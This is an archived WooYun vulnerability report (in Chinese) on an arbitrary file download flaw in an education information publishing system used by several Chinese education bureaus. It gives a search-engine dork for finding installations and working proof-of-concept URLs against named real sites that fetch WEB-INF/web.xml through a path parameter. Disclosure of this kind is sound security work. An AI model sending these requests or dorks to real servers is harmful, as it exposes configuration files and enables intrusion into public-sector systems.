当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087153

漏洞标题：浙大万朋教育信息发布系统任意文件下载漏洞

相关厂商：国家互联网应急中心

漏洞作者： 路人甲

提交时间：2014-12-14 22:16

修复时间：2015-03-14 22:18

公开时间：2015-03-14 22:18

漏洞类型：任意文件遍历/下载

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-14： 细节已通知厂商并且等待厂商处理中
2014-12-17： 厂商已经确认，细节仅向厂商公开
2014-12-20： 细节向第三方安全合作伙伴开放
2015-02-10： 细节向核心白帽子及相关领域专家公开
2015-02-20： 细节向普通白帽子公开
2015-03-02： 细节向实习白帽子公开
2015-03-14： 细节向公众公开

简要描述：

影响多地教育局

详细说明：

谷歌关键字  intitle:ZDSOFT.NET信息发布平台
0.png




任意文件下载漏洞链接： /cnet/servlet/servletupload

漏洞证明：

测试案例：
0x01山东省烟台市教育局 http://www.ytedu.cn/cnet/dynamic/presentation/net_1/index.jsp?unitid=1
任意文件下载：
http://www.ytedu.cn/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml
1.png






2.png




0x02山东省广饶县教育局   
http://www.grjy.net:81/cnet/dynamic/presentation/edu_7/index.jsp?templateid=4
任意文件下载：
http://www.grjy.net:81/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml



2.png




0x03青州市教育局 
http://222.132.49.180:82/cnet/dynamic/presentation/net_2/index.jsp
任意文件下载：
http://222.132.49.180:82/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml



3.png




其他案例：
http://www.ymedu.gov.cn/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml
http://www.lzedu.cn:8080/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml
http://jnqei.net:8080/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml
http://60.190.233.51/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml
http://218.4.193.174:82/cnet/servlet/servletupload?domesticfile=WEB-INF/web.xml

修复方案：

路径过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-12-17 16:35

厂商回复：

CNVD确认并复现所述情况，已经由CNVD通过以往建立的处置渠道向软件生产厂商通报

最新状态：

暂无